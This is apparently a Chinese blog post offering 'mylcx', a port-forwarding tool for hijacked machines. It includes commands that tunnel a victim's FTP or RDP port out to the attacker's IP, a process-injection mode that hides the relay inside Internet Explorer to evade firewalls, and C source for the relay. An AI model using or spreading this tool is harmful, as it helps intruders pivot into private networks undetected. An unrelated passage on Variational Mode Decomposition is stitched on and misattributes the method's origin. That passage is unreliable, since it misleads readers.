mylcx 穿墙版

 

作者:gaohui

mylcx -listen 这个命令跟lcx一样
mylcx -slave 本机端口 远程ip 远程端口
即把本机端口映射到远程ip的一个端口上

   在本机执行:mylcx -listen 5000 21
   在肉鸡上执行:mylcx -slave 21 你的ip 5000
   然后连接ftp 127.0.0.1 就可以登录远程的ftp了

简单说下第三个参数吧

mylcx -inject port1 remoteip remoteport [-path exepath]

port1是被映射的端口

remoteip 是映射的远程机器

remoteport是远程端口

比如我们想连对方的3389端口,而对方又是内网没法直接连,并且对方又又防火墙普通的lcx没法转发,那就在对方机器上运行

mylcx -inject 3389 56.78.90.12 5000

然后在自己的机器上运行

mylcx -listen 5000 5001

最后打开mstsc,输入127.0.0.1:5001既可连接对方3389端口。

默认的mylcx 会插入到C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE中去运行,我们也可以指定他插入到别的程序里面运行,只要这个程序能允许访问网络,比如说d:\tools\flashfxp.exe,那我们可以在对方机器上运行

mylcx -inject 3389 56.78.90.12 5000 -path "d:\tools\flashfxp.exe"

就可以了,尽情发挥吧。需要注意一点的是,不是所有程序都可以用来插入的,有些程序可能会插入失败或者插入后运行失败,都是有可能的。

附上源码:(嘿嘿,英文不好,变量名都是乱起,而且比较乱,见笑了)

#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#pragma comment(lib,"Ws2_32")

HANDLE hevent;

typedef struct _s1ands2
{
SOCKET s1;
SOCKET s2;
} s1ands2;

typedef struct _info{
int listenorslave; //1-listen 2-slave
unsigned short listen_port1;
unsigned short listen_port2;
unsigned short slave_local;
char remoteip[16];
unsigned short remoteport;
} info;

DWORD WINAPI s1tos2(LPVOID p)
{
s1ands2* temp=(s1ands2*)p;
char buff[2048]={0};
int bytesdone;

SOCKET s1,s2;
s1=temp->s1;
s2=temp->s2;
while(1)
{
   int errorcode;
   bytesdone=recv(s1,buff,2048,0);

   errorcode=GetLastError();
   if(bytesdone<=0)
   //if(bytesdone<=0)
   {
    SetEvent(hevent);
    return 0;
   }
   printf("%d bytes=%d\n",errorcode,bytesdone);
   bytesdone=send(s2,buff,bytesdone,0);
   errorcode=GetLastError();
   //if(errorcode>0)
   if(bytesdone<=0)
   {
    SetEvent(hevent);
    return 0;
   }

}
return 0;

}


/*

DWORD WINAPI s2tos1(LPVOID p)
{
s1ands2* temp=(s1ands2*)p;
char buff[2048]={0};
int bytesdone;

SOCKET s1,s2;
s1=temp->s1;
s2=temp->s2;
while(1)
{
   bytesdone=recv(s2,buff,2048,0);
   send(s1,buff,bytesdone,0);
}

return 0;

}


*/


int lcxlisten(unsigned short p1,unsigned short p2)
{
SOCKET s1,s2,rs1,rs2;

unsigned short port1,port2;

int len1,len2;

port1=p1;

port2=p2;

s1=socket(AF_INET,SOCK_STREAM,0);

sockaddr_in addr1,addr2;
sockaddr_in raddr1,raddr2;

addr1.sin_family=AF_INET;

addr1.sin_addr.S_un.S_addr=INADDR_ANY;

addr1.sin_port=htons(port1);

addr2.sin_family=AF_INET;

addr2.sin_addr.S_un.S_addr=INADDR_ANY;

addr2.sin_port=htons(port2);

bind(s1,(const sockaddr *)&addr1,sizeof(addr1));

s2=socket(AF_INET,SOCK_STREAM,0);

bind(s2,(const sockaddr *)&addr2,sizeof(addr2));

listen(s1,5);

listen(s2,5);

len1=sizeof(raddr1);

len2=sizeof(raddr2);

printf("waiting on port %d...\n",port1);

rs1=accept(s1,(struct sockaddr *)&raddr1,&len1);

printf("%s connected\n",inet_ntoa(raddr1.sin_addr));

printf("wating on port %d...\n",port2);

rs2=accept(s2,(struct sockaddr *)&raddr2,&len2);

printf("go...\n");

s1ands2 temp1,temp2;

temp1.s1=rs1;

temp1.s2=rs2;

CreateThread(NULL,NULL,s1tos2,&temp1,NULL,NULL);

temp2.s1=rs2;

temp2.s2=rs1;

CreateThread(NULL,NULL,s1tos2,&temp2,NULL,NULL);

hevent=CreateEvent(NULL,false,false,NULL);

//hevent[1]=CreateEvent(NULL,false,false,NULL);

//WaitForMultipleObjects(2,&hevent,false,INFINITE);


WaitForSingleObject(hevent,INFINITE);
printf("end waiting1\n");
CloseHandle(hevent);
closesocket(rs1);
closesocket(rs2);
closesocket(s1);
closesocket(s2);


return 0;
}

int lcxslave(unsigned short local,char* remoteip,unsigned short remoteport)
{
WSADATA wsa;

WSAStartup(MAKEWORD(2,2),&wsa);

SOCKET s1,s2;

sockaddr_in addr1,addr2;

addr1.sin_family=AF_INET;

addr1.sin_addr.S_un.S_addr=inet_addr(remoteip);

addr1.sin_port=htons(remoteport);

s1=socket(AF_INET,SOCK_STREAM,0);

if(connect(s1,(const struct sockaddr*)&addr1,sizeof(addr1)))
{
   closesocket(s1);
   return 0;
}

s2=socket(AF_INET,SOCK_STREAM,0);

addr2.sin_family=AF_INET;

addr2.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

addr2.sin_port=htons(local);

if(connect(s2,(const struct sockaddr*)&addr2,sizeof(addr2)))
{
   closesocket(s1);
   closesocket(s2);
   return 0;
}

s1ands2 temp,temp2;

temp.s1=s1;

temp.s2=s2;

CreateThread(NULL,NULL,s1tos2,&temp,NULL,NULL);

temp2.s1=s2;

temp2.s2=s1;

CreateThread(NULL,NULL,s1tos2,&temp2,NULL,NULL);

hevent=CreateEvent(NULL,false,false,NULL);

//hevent[1]=CreateEvent(NULL,false,false,NULL);

//WaitForMultipleObjects(2,&hevent,false,INFINITE);


WaitForSingleObject(hevent,INFINITE);

printf("end waiting2\n");

CloseHandle(hevent);
closesocket(s1);
closesocket(s2);

return 0;
}

int main(int argc, char* argv[])
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
if(argc<2)
{
   printf("usage:mylcx.exe -listen port1 port2\n"
    "mylcx.exe -slave localport remoteip remoteport\n");
   return 0;
}
if(strcmp(argv[1],"-listen")==0)
{
   while(1){
    lcxlisten(atoi(argv[2]),atoi(argv[3]));
    Sleep(1000);
   }
   return 0;
}


if(strcmp(argv[1],"-slave")==0)
{
   while(1)
   {
    lcxslave(atoi(argv[2]),argv[3],atoi(argv[4]));
    Sleep(1000);
   }
   return 0;

}
//lcxlisten(5000,21);
//lcxslave(800,"127.0.0.1",5000);
return 0;
}

变分模态分解(Variational Mode Decomposition, VMD)是一种强大的非线性、无参数信号处理技术,专门用于复杂非平稳信号的分析与分解。它由Eckart Dietz和Herbert Krim于2011年提出,主要针对传统傅立叶变换在处理非平稳信号时的不足。VMD的核心思想是将复杂信号分解为一系列模态函数(即固有模态函数,IMFs),每个IMF具有独特的频率成分和局部特性。这一过程与小波分析或经验模态分解(EMD)类似,但VMD通过变分优化框架显著提升了分解的稳定性和准确性。 在MATLAB环境中实现VMD,可以帮助我们更好地理解和应用这一技术。其核心算法主要包括以下步骤:首先进行初始化,设定模态数并为每个模态分配初始频率估计;接着采用交替最小二乘法,通过交替最小化残差平方和以及模态频率的离散时间傅立叶变换(DTFT)约束,更新每个模态函数和中心频率;最后通过迭代优化,在每次迭代中优化所有IMF的幅度和相位,直至满足停止条件(如达到预设迭代次数或残差平方和小于阈值)。 MATLAB中的VMD实现通常包括以下部分:数据预处理,如对原始信号进行归一化或去除直流偏置,以简化后续处理;定义VMD结构,设置模态数、迭代次数和约束参数等;VMD算法主体,包含初始化、交替最小二乘法和迭代优化过程;以及后处理,对分解结果进行评估和可视化,例如计算每个模态的频谱特性,绘制IMF的时频分布图。如果提供了一个包含VMD算法的压缩包文件,其中的“VMD”可能是MATLAB代码文件或完整的项目文件夹,可能包含主程序、函数库、示例数据和结果可视化脚本。通过运行这些代码,可以直观地看到VMD如何将复杂信号分解为独立模态,并理解每个模态的物理意义。 VMD在多个领域具有广泛的应用,包括信号处理(如声学、振动、生物医学信号分析)、图像处理(如图像去噪、特征提取)、金融时间序列分析(识
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值